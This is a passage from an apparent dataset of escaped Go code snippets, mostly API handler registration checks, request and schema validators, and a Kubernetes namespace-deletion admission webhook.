\\\"backend_switching_rule.GetBackendSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.BackendSwitchingRuleGetBackendSwitchingRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend_switching_rule.GetBackendSwitchingRulesHandler\\\")\\n\\t}\\n\\n\\tif o.BackendGetBackendsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend.GetBackendsHandler\\\")\\n\\t}\\n\\n\\tif o.BindGetBindHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"bind.GetBindHandler\\\")\\n\\t}\\n\\n\\tif o.BindGetBindsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"bind.GetBindsHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetConfigurationEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetConfigurationEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.DefaultsGetDefaultsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"defaults.GetDefaultsHandler\\\")\\n\\t}\\n\\n\\tif o.FilterGetFilterHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"filter.GetFilterHandler\\\")\\n\\t}\\n\\n\\tif o.FilterGetFiltersHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"filter.GetFiltersHandler\\\")\\n\\t}\\n\\n\\tif o.FrontendGetFrontendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"frontend.GetFrontendHandler\\\")\\n\\t}\\n\\n\\tif o.FrontendGetFrontendsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"frontend.GetFrontendsHandler\\\")\\n\\t}\\n\\n\\tif o.GlobalGetGlobalHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"global.GetGlobalHandler\\\")\\n\\t}\\n\\n\\tif o.ConfigurationGetHAProxyConfigurationHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"configuration.GetHAProxyConfigurationHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPRequestRuleGetHTTPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_request_rule.GetHTTPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPRequestRuleGetHTTPRequestRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_request_rule.GetHTTPRequestRulesHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPResponseRuleGetHTTPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_response_rule.GetHTTPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPResponseRuleGetHTTPResponseRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_response_rule.GetHTTPResponseRulesHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetHaproxyEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetHaproxyEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.InformationGetHaproxyProcessInfoHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"information.GetHaproxyProcessInfoHandler\\\")\\n\\t}\\n\\n\\tif o.InformationGetInfoHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"information.GetInfoHandler\\\")\\n\\t}\\n\\n\\tif o.LogTargetGetLogTargetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"log_target.GetLogTargetHandler\\\")\\n\\t}\\n\\n\\tif o.LogTargetGetLogTargetsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"log_target.GetLogTargetsHandler\\\")\\n\\t}\\n\\n\\tif o.ReloadsGetReloadHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"reloads.GetReloadHandler\\\")\\n\\t}\\n\\n\\tif o.ReloadsGetReloadsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"reloads.GetReloadsHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetRuntimeEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetRuntimeEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.ServerGetRuntimeServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.GetRuntimeServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerGetRuntimeServersHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.GetRuntimeServersHandler\\\")\\n\\t}\\n\\n\\tif o.ServerGetServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.GetServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerSwitchingRuleGetServerSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server_switching_rule.GetServerSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.ServerSwitchingRuleGetServerSwitchingRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server_switching_rule.GetServerSwitchingRulesHandler\\\")\\n\\t}\\n\\n\\tif o.ServerGetServersHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.GetServersHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetServicesEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetServicesEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.SitesGetSiteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"sites.GetSiteHandler\\\")\\n\\t}\\n\\n\\tif o.SitesGetSitesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"sites.GetSitesHandler\\\")\\n\\t}\\n\\n\\tif o.SpecificationGetSpecificationHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"specification.GetSpecificationHandler\\\")\\n\\t}\\n\\n\\tif o.StatsGetStatsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stats.GetStatsHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetStatsEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetStatsEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.StickRuleGetStickRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_rule.GetStickRuleHandler\\\")\\n\\t}\\n\\n\\tif o.StickRuleGetStickRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_rule.GetStickRulesHandler\\\")\\n\\t}\\n\\n\\tif o.StickTableGetStickTableHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_table.GetStickTableHandler\\\")\\n\\t}\\n\\n\\tif o.StickTableGetStickTableEntriesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_table.GetStickTableEntriesHandler\\\")\\n\\t}\\n\\n\\tif o.StickTableGetStickTablesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_table.GetStickTablesHandler\\\")\\n\\t}\\n\\n\\tif o.TCPRequestRuleGetTCPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_request_rule.GetTCPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPRequestRuleGetTCPRequestRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_request_rule.GetTCPRequestRulesHandler\\\")\\n\\t}\\n\\n\\tif o.TCPResponseRuleGetTCPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_response_rule.GetTCPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPResponseRuleGetTCPResponseRulesHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_response_rule.GetTCPResponseRulesHandler\\\")\\n\\t}\\n\\n\\tif o.TransactionsGetTransactionHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"transactions.GetTransactionHandler\\\")\\n\\t}\\n\\n\\tif o.TransactionsGetTransactionsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"transactions.GetTransactionsHandler\\\")\\n\\t}\\n\\n\\tif o.ConfigurationPostHAProxyConfigurationHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"configuration.PostHAProxyConfigurationHandler\\\")\\n\\t}\\n\\n\\tif o.ACLReplaceACLHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"acl.ReplaceACLHandler\\\")\\n\\t}\\n\\n\\tif o.BackendReplaceBackendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend.ReplaceBackendHandler\\\")\\n\\t}\\n\\n\\tif o.BackendSwitchingRuleReplaceBackendSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend_switching_rule.ReplaceBackendSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.BindReplaceBindHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"bind.ReplaceBindHandler\\\")\\n\\t}\\n\\n\\tif o.DefaultsReplaceDefaultsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"defaults.ReplaceDefaultsHandler\\\")\\n\\t}\\n\\n\\tif o.FilterReplaceFilterHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"filter.ReplaceFilterHandler\\\")\\n\\t}\\n\\n\\tif o.FrontendReplaceFrontendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"frontend.ReplaceFrontendHandler\\\")\\n\\t}\\n\\n\\tif o.GlobalReplaceGlobalHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"global.ReplaceGlobalHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPRequestRuleReplaceHTTPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_request_rule.ReplaceHTTPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPResponseRuleReplaceHTTPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_response_rule.ReplaceHTTPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.LogTargetReplaceLogTargetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"log_target.ReplaceLogTargetHandler\\\")\\n\\t}\\n\\n\\tif o.ServerReplaceRuntimeServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.ReplaceRuntimeServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerReplaceServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.ReplaceServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerSwitchingRuleReplaceServerSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server_switching_rule.ReplaceServerSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.SitesReplaceSiteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"sites.ReplaceSiteHandler\\\")\\n\\t}\\n\\n\\tif o.StickRuleReplaceStickRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_rule.ReplaceStickRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPRequestRuleReplaceTCPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_request_rule.ReplaceTCPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPResponseRuleReplaceTCPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_response_rule.ReplaceTCPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TransactionsStartTransactionHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"transactions.StartTransactionHandler\\\")\\n\\t}\\n\\n\\tif len(unregistered) > 0 {\\n\\t\\treturn fmt.Errorf(\\\"missing registration: %s\\\", strings.Join(unregistered, \\\", \\\"))\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *GetRelationTuplesInternalServerErrorBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func validateRequest(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\\n\\tdevFlag := r.URL.Query().Get(\\\"_dev\\\")\\n\\tisDev := devFlag != \\\"\\\"\\n\\tif !isDev && !IsValidAlexaRequest(w, r) {\\n\\t\\tlog.Println(\\\"Request invalid\\\")\\n\\t\\treturn\\n\\t}\\n\\tnext(w, r)\\n}\",\n \"func (ctx *Ctx) Validate() (err error) {\\n\\tif ctx.ESURL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"you must specify Elastic URL\\\")\\n\\t}\\n\\tif strings.HasSuffix(ctx.ESURL, \\\"/\\\") {\\n\\t\\tctx.ESURL = ctx.ESURL[:len(ctx.ESURL)-1]\\n\\t}\\n\\t// Warning when running for foundation-f project slug.\\n\\tif strings.HasSuffix(ctx.ProjectSlug, \\\"-f\\\") && !strings.Contains(ctx.ProjectSlug, \\\"/\\\") {\\n\\t\\tPrintf(\\\"%s: running on foundation-f level detected: project slug is %s\\\\n\\\", DadsWarning, ctx.ProjectSlug)\\n\\t}\\n\\treturn\\n}\",\n \"func Swagger(c *gin.Context) {\\n\\tc.Header(\\\"Content-Type\\\", \\\"application/x-yaml\\\")\\n}\",\n \"func (swr *SearchWordsRequest) Validate(r *http.Request) (bool, *SearchWordsRespnse) {\\n\\n\\tsearchWordsRespnse := new(SearchWordsRespnse)\\n\\n\\t// Check if body is empty, because we expect some input\\n\\tif r.Body == nil {\\n\\n\\t\\tsearchWordsRespnse.Code = status.EmptyBody\\n\\t\\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.EmptyBody, Message: status.Text(status.EmptyBody)})\\n\\t\\treturn false, searchWordsRespnse\\n\\t}\\n\\n\\t// Decode request\\n\\terr := json.NewDecoder(r.Body).Decode(&swr)\\n\\n\\tdefer r.Body.Close()\\n\\n\\tif err != nil {\\n\\t\\tsearchWordsRespnse.Code = status.IncorrectBodyFormat\\n\\t\\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.IncorrectBodyFormat, Message: status.Text(status.IncorrectBodyFormat)})\\n\\t\\treturn false, searchWordsRespnse\\n\\t}\\n\\n\\treturn true, searchWordsRespnse\\n}\",\n \"func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\\n\\treturn validate.Validate(\\n\\t\\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \\\"PaymentRequestID\\\"},\\n\\t), nil\\n}\",\n \"func (v *Validator) validateRequest(rw http.ResponseWriter, r *http.Request, validationInput *openapi3filter.RequestValidationInput) *oapiError {\\n\\n\\tv.logger.Debug(fmt.Sprintf(\\\"%#v\\\", validationInput)) // TODO: output something a little bit nicer?\\n\\n\\t// TODO: can we (in)validate additional query parameters? The default behavior does not seem to take additional params into account\\n\\n\\trequestContext := r.Context() // TODO: add things to the request context, if required?\\n\\n\\terr := openapi3filter.ValidateRequest(requestContext, validationInput)\\n\\tif err != nil {\\n\\t\\tswitch e := err.(type) {\\n\\t\\tcase *openapi3filter.RequestError:\\n\\t\\t\\t// A bad request with a verbose error; splitting it and taking the first line\\n\\t\\t\\terrorLines := strings.Split(e.Error(), \\\"\\\\n\\\")\\n\\t\\t\\treturn &oapiError{\\n\\t\\t\\t\\tCode: http.StatusBadRequest,\\n\\t\\t\\t\\tMessage: errorLines[0],\\n\\t\\t\\t\\tInternal: err,\\n\\t\\t\\t}\\n\\t\\tcase *openapi3filter.SecurityRequirementsError:\\n\\t\\t\\tif v.shouldValidateSecurity() {\\n\\t\\t\\t\\treturn &oapiError{\\n\\t\\t\\t\\t\\tCode: http.StatusForbidden, // TOOD: is this the right code? The validator is not the authorizing party.\\n\\t\\t\\t\\t\\tMessage: formatFullError(e),\\n\\t\\t\\t\\t\\tInternal: err,\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\t// Fallback for unexpected or unimplemented cases\\n\\t\\t\\treturn &oapiError{\\n\\t\\t\\t\\tCode: http.StatusInternalServerError,\\n\\t\\t\\t\\tMessage: fmt.Sprintf(\\\"error validating request: %s\\\", err),\\n\\t\\t\\t\\tInternal: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func WrapValidate(hfn http.HandlerFunc) http.HandlerFunc {\\n\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\n\\t\\turlVars := mux.Vars(r)\\n\\n\\t\\t// sort keys\\n\\t\\tkeys := []string(nil)\\n\\t\\tfor key := range urlVars {\\n\\t\\t\\tkeys = append(keys, key)\\n\\t\\t}\\n\\t\\tsort.Strings(keys)\\n\\n\\t\\t// Iterate alphabetically\\n\\t\\tfor _, key := range keys {\\n\\t\\t\\tif validName(urlVars[key]) == false {\\n\\t\\t\\t\\terr := APIErrorInvalidName(key)\\n\\t\\t\\t\\trespondErr(w, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\thfn.ServeHTTP(w, r)\\n\\n\\t})\\n}\",\n \"func (m *NoOneofs) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func HandlerCrashAppValidation(w http.ResponseWriter, r *http.Request) {\\n\\tif r.Body == nil {\\n\\t\\thttp.Error(w, \\\"Please send a request body\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\tproxy := httputil.NewSingleHostReverseProxy(remote)\\n\\tbuf, _ := ioutil.ReadAll(r.Body)\\n\\trdr := ioutil.NopCloser(bytes.NewBuffer(buf))\\n\\n\\tvar msg CrashAppMessage\\n\\n\\terrd := json.NewDecoder(rdr).Decode(&msg)\\n\\tif errd != nil {\\n\\t\\thttp.Error(w, \\\"Invalid json data - can't decode\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tvalidated, verr := msg.Validate(r.URL.Path)\\n\\tif !validated {\\n\\t\\tif verr != nil {\\n\\t\\t\\tfmt.Println(verr)\\n\\t\\t\\thttp.Error(w, verr.Error(), http.StatusBadRequest)\\n\\t\\t} else {\\n\\t\\t\\thttp.Error(w, \\\"Validation Error\\\", http.StatusBadRequest)\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\t// proxy original request\\n\\tr.Body = ioutil.NopCloser(bytes.NewBuffer(buf))\\n\\tproxy.ServeHTTP(w, r)\\n}\",\n \"func (o *GetOKBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateDocument(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (extractor *SwaggerTypeExtractor) findARMResourceSchema(op spec.PathItem, rawOperationPath string) (*Schema, *Schema, bool) {\\n\\t// to decide if something is a resource, we must look at the GET responses\\n\\tisResource := false\\n\\n\\tvar foundStatus *Schema\\n\\tif op.Get.Responses != nil {\\n\\t\\tfor statusCode, response := range op.Get.Responses.StatusCodeResponses {\\n\\t\\t\\t// only check OK and Created (per above linked comment)\\n\\t\\t\\t// TODO: we should really check that the results are the same in each status result\\n\\t\\t\\tif statusCode == 200 || statusCode == 201 {\\n\\t\\t\\t\\tschema, ok := extractor.doesResponseRepresentARMResource(response, rawOperationPath)\\n\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\tfoundStatus = schema\\n\\t\\t\\t\\t\\tisResource = true\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif !isResource {\\n\\t\\treturn nil, nil, false\\n\\t}\\n\\n\\tvar foundSpec *Schema\\n\\n\\tparams := op.Put.Parameters\\n\\tif op.Parameters != nil {\\n\\t\\textractor.log.V(1).Info(\\n\\t\\t\\t\\\"overriding parameters\\\",\\n\\t\\t\\t\\\"operation\\\", rawOperationPath,\\n\\t\\t\\t\\\"swagger\\\", extractor.swaggerPath)\\n\\t\\tparams = op.Parameters\\n\\t}\\n\\n\\t// the actual Schema must come from the PUT parameters\\n\\tnoBody := true\\n\\tfor _, param := range params {\\n\\t\\tinBody := param.In == \\\"body\\\"\\n\\t\\t_, innerParam := extractor.fullyResolveParameter(param)\\n\\t\\tinBody = inBody || innerParam.In == \\\"body\\\"\\n\\n\\t\\t// note: bug avoidance: we must not pass innerParam to schemaFromParameter\\n\\t\\t// since it will treat it as relative to the current file, which might not be correct.\\n\\t\\t// instead, schemaFromParameter must re-fully-resolve the parameter so that\\n\\t\\t// it knows it comes from another file (if it does).\\n\\n\\t\\tif inBody { // must be a (the) body parameter\\n\\t\\t\\tnoBody = false\\n\\t\\t\\tresult := extractor.schemaFromParameter(param)\\n\\t\\t\\tif result != nil {\\n\\t\\t\\t\\tfoundSpec = result\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif foundSpec == nil {\\n\\t\\tif noBody {\\n\\t\\t\\textractor.log.V(1).Info(\\n\\t\\t\\t\\t\\\"no body parameter found for PUT operation\\\",\\n\\t\\t\\t\\t\\\"operation\\\", rawOperationPath)\\n\\t\\t} else {\\n\\t\\t\\textractor.log.V(1).Info(\\n\\t\\t\\t\\t\\\"no schema found for PUT operation\\\",\\n\\t\\t\\t\\t\\\"operation\\\", rawOperationPath,\\n\\t\\t\\t\\t\\\"swagger\\\", extractor.swaggerPath)\\n\\t\\t\\treturn nil, nil, false\\n\\t\\t}\\n\\t}\\n\\n\\treturn foundSpec, foundStatus, true\\n}\",\n \"func (o *DocumentUpdateMethodNotAllowedBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Error405Data\\n\\tif err := o.Error405Data.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func Validate(schema, document string) (result *gojsonschema.Result, err error) {\\n\\tschemaLoader := gojsonschema.NewStringLoader(schema)\\n\\tdocumentLoader := gojsonschema.NewStringLoader(document)\\n\\treturn gojsonschema.Validate(schemaLoader, documentLoader)\\n}\",\n \"func HandleInspectCollectionSchema(adminMan *admin.Manager, modules *modules.Modules, syncman *syncman.Manager) http.HandlerFunc {\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\n\\t\\t// Get the JWT token from header\\n\\t\\ttoken := utils.GetTokenFromHeader(r)\\n\\t\\tdefer utils.CloseTheCloser(r.Body)\\n\\n\\t\\t// Check if the request is authorised\\n\\t\\tif err := adminMan.IsTokenValid(token); err != nil {\\n\\t\\t\\t_ = utils.SendErrorResponse(w, http.StatusUnauthorized, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// Create a context of execution\\n\\t\\tctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)\\n\\t\\tdefer cancel()\\n\\n\\t\\tvars := mux.Vars(r)\\n\\t\\tdbAlias := vars[\\\"dbAlias\\\"]\\n\\t\\tcol := vars[\\\"col\\\"]\\n\\t\\tprojectID := vars[\\\"project\\\"]\\n\\t\\tlogicalDBName, err := syncman.GetLogicalDatabaseName(ctx, projectID, dbAlias)\\n\\t\\tif err != nil {\\n\\t\\t\\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tschema := modules.Schema()\\n\\t\\ts, err := schema.SchemaInspection(ctx, dbAlias, logicalDBName, col)\\n\\t\\tif err != nil {\\n\\t\\t\\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif err := syncman.SetSchemaInspection(ctx, projectID, dbAlias, col, s); err != nil {\\n\\t\\t\\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t_ = utils.SendResponse(w, http.StatusOK, model.Response{Result: s})\\n\\t\\t// return\\n\\t}\\n}\",\n \"func (_ IP) OpenAPISchemaFormat() string { return \\\"\\\" }\",\n \"func hookConfigurationSchema() *schema.Schema {\\n\\treturn &schema.Schema{\\n\\t\\tType: schema.TypeList,\\n\\t\\tOptional: true,\\n\\t\\tMaxItems: 1,\\n\\t\\tElem: &schema.Resource{\\n\\t\\t\\tSchema: map[string]*schema.Schema{\\n\\t\\t\\t\\t\\\"invocation_condition\\\": func() *schema.Schema {\\n\\t\\t\\t\\t\\tschema := documentAttributeConditionSchema()\\n\\t\\t\\t\\t\\treturn schema\\n\\t\\t\\t\\t}(),\\n\\t\\t\\t\\t\\\"lambda_arn\\\": {\\n\\t\\t\\t\\t\\tType: schema.TypeString,\\n\\t\\t\\t\\t\\tRequired: true,\\n\\t\\t\\t\\t\\tValidateFunc: verify.ValidARN,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\\"s3_bucket\\\": {\\n\\t\\t\\t\\t\\tType: schema.TypeString,\\n\\t\\t\\t\\t\\tRequired: true,\\n\\t\\t\\t\\t\\tValidateFunc: validation.All(\\n\\t\\t\\t\\t\\t\\tvalidation.StringLenBetween(3, 63),\\n\\t\\t\\t\\t\\t\\tvalidation.StringMatch(\\n\\t\\t\\t\\t\\t\\t\\tregexp.MustCompile(`[a-z0-9][\\\\.\\\\-a-z0-9]{1,61}[a-z0-9]`),\\n\\t\\t\\t\\t\\t\\t\\t\\\"Must be a valid bucket name\\\",\\n\\t\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n}\",\n \"func (rv *ResumeValidator) RegisterValidatorAPI() {\\n\\thttp.HandleFunc(\\\"/\\\", rv.homePage())\\n\\thttp.HandleFunc(\\\"/validateFile\\\", rv.validateFile())\\n}\",\n \"func (c serverResources) OpenAPISchema() (*openapiv2.Document, error) {\\n\\treturn c.cachedClient.OpenAPISchema()\\n}\",\n \"func webhookHandler(rw http.ResponseWriter, req *http.Request) {\\n\\tlog.Infof(\\\"Serving %s %s request for client: %s\\\", req.Method, req.URL.Path, req.RemoteAddr)\\n\\n\\tif req.Method != http.MethodPost {\\n\\t\\thttp.Error(rw, fmt.Sprintf(\\\"Incoming request method %s is not supported, only POST is supported\\\", req.Method), http.StatusMethodNotAllowed)\\n\\t\\treturn\\n\\t}\\n\\n\\tif req.URL.Path != \\\"/\\\" {\\n\\t\\thttp.Error(rw, fmt.Sprintf(\\\"%s 404 Not Found\\\", req.URL.Path), http.StatusNotFound)\\n\\t\\treturn\\n\\t}\\n\\n\\tadmReview := v1alpha1.AdmissionReview{}\\n\\terr := json.NewDecoder(req.Body).Decode(&admReview)\\n\\tif err != nil {\\n\\t\\terrorMsg := fmt.Sprintf(\\\"Failed to decode the request body json into an AdmissionReview resource: %s\\\", err.Error())\\n\\t\\twriteResponse(rw, &v1alpha1.AdmissionReview{}, false, errorMsg)\\n\\t\\treturn\\n\\t}\\n\\tlog.Debugf(\\\"Incoming AdmissionReview for %s on resource: %v, kind: %v\\\", admReview.Spec.Operation, admReview.Spec.Resource, admReview.Spec.Kind)\\n\\n\\tif *admitAll == true {\\n\\t\\tlog.Warnf(\\\"admitAll flag is set to true. Allowing Namespace admission review request to pass without validation.\\\")\\n\\t\\twriteResponse(rw, &admReview, true, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif admReview.Spec.Resource != namespaceResourceType {\\n\\t\\terrorMsg := fmt.Sprintf(\\\"Incoming resource is not a Namespace: %v\\\", admReview.Spec.Resource)\\n\\t\\twriteResponse(rw, &admReview, false, errorMsg)\\n\\t\\treturn\\n\\t}\\n\\n\\tif admReview.Spec.Operation != v1alpha1.Delete {\\n\\t\\terrorMsg := fmt.Sprintf(\\\"Incoming operation is %v on namespace %s. Only DELETE is currently supported.\\\", admReview.Spec.Operation, admReview.Spec.Name)\\n\\t\\twriteResponse(rw, &admReview, false, errorMsg)\\n\\t\\treturn\\n\\t}\\n\\n\\tnamespace, err := clientset.CoreV1().Namespaces().Get(admReview.Spec.Name, v1.GetOptions{})\\n\\tif err != nil {\\n\\t\\t// If the namespace is not found, approve the request and let apiserver handle the case\\n\\t\\t// For any other error, reject the request\\n\\t\\tif apiErrors.IsNotFound(err) {\\n\\t\\t\\tlog.Debugf(\\\"Namespace %s not found, let apiserver handle the error: %s\\\", admReview.Spec.Name, err.Error())\\n\\t\\t\\twriteResponse(rw, &admReview, true, \\\"\\\")\\n\\t\\t} else {\\n\\t\\t\\terrorMsg := fmt.Sprintf(\\\"Error occurred while retrieving the namespace %s: %s\\\", admReview.Spec.Name, err.Error())\\n\\t\\t\\twriteResponse(rw, &admReview, false, errorMsg)\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\tif annotations := namespace.GetAnnotations(); annotations != nil {\\n\\t\\tif annotations[bypassAnnotationKey] == \\\"true\\\" {\\n\\t\\t\\tlog.Infof(\\\"Namespace %s has the bypass annotation set[%s:true]. OK to DELETE.\\\", admReview.Spec.Name, bypassAnnotationKey)\\n\\t\\t\\twriteResponse(rw, &admReview, true, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\terr = validateNamespaceDeletion(admReview.Spec.Name)\\n\\tif err != nil {\\n\\t\\twriteResponse(rw, &admReview, false, err.Error())\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Infof(\\\"Namespace %s does not contain any workload resources. OK to DELETE.\\\", admReview.Spec.Name)\\n\\twriteResponse(rw, &admReview, true, \\\"\\\")\\n}\",\n \"func ProductValidationMiddleware(next http.Handler) http.Handler {\\n\\treturn http.HandlerFunc(func(w 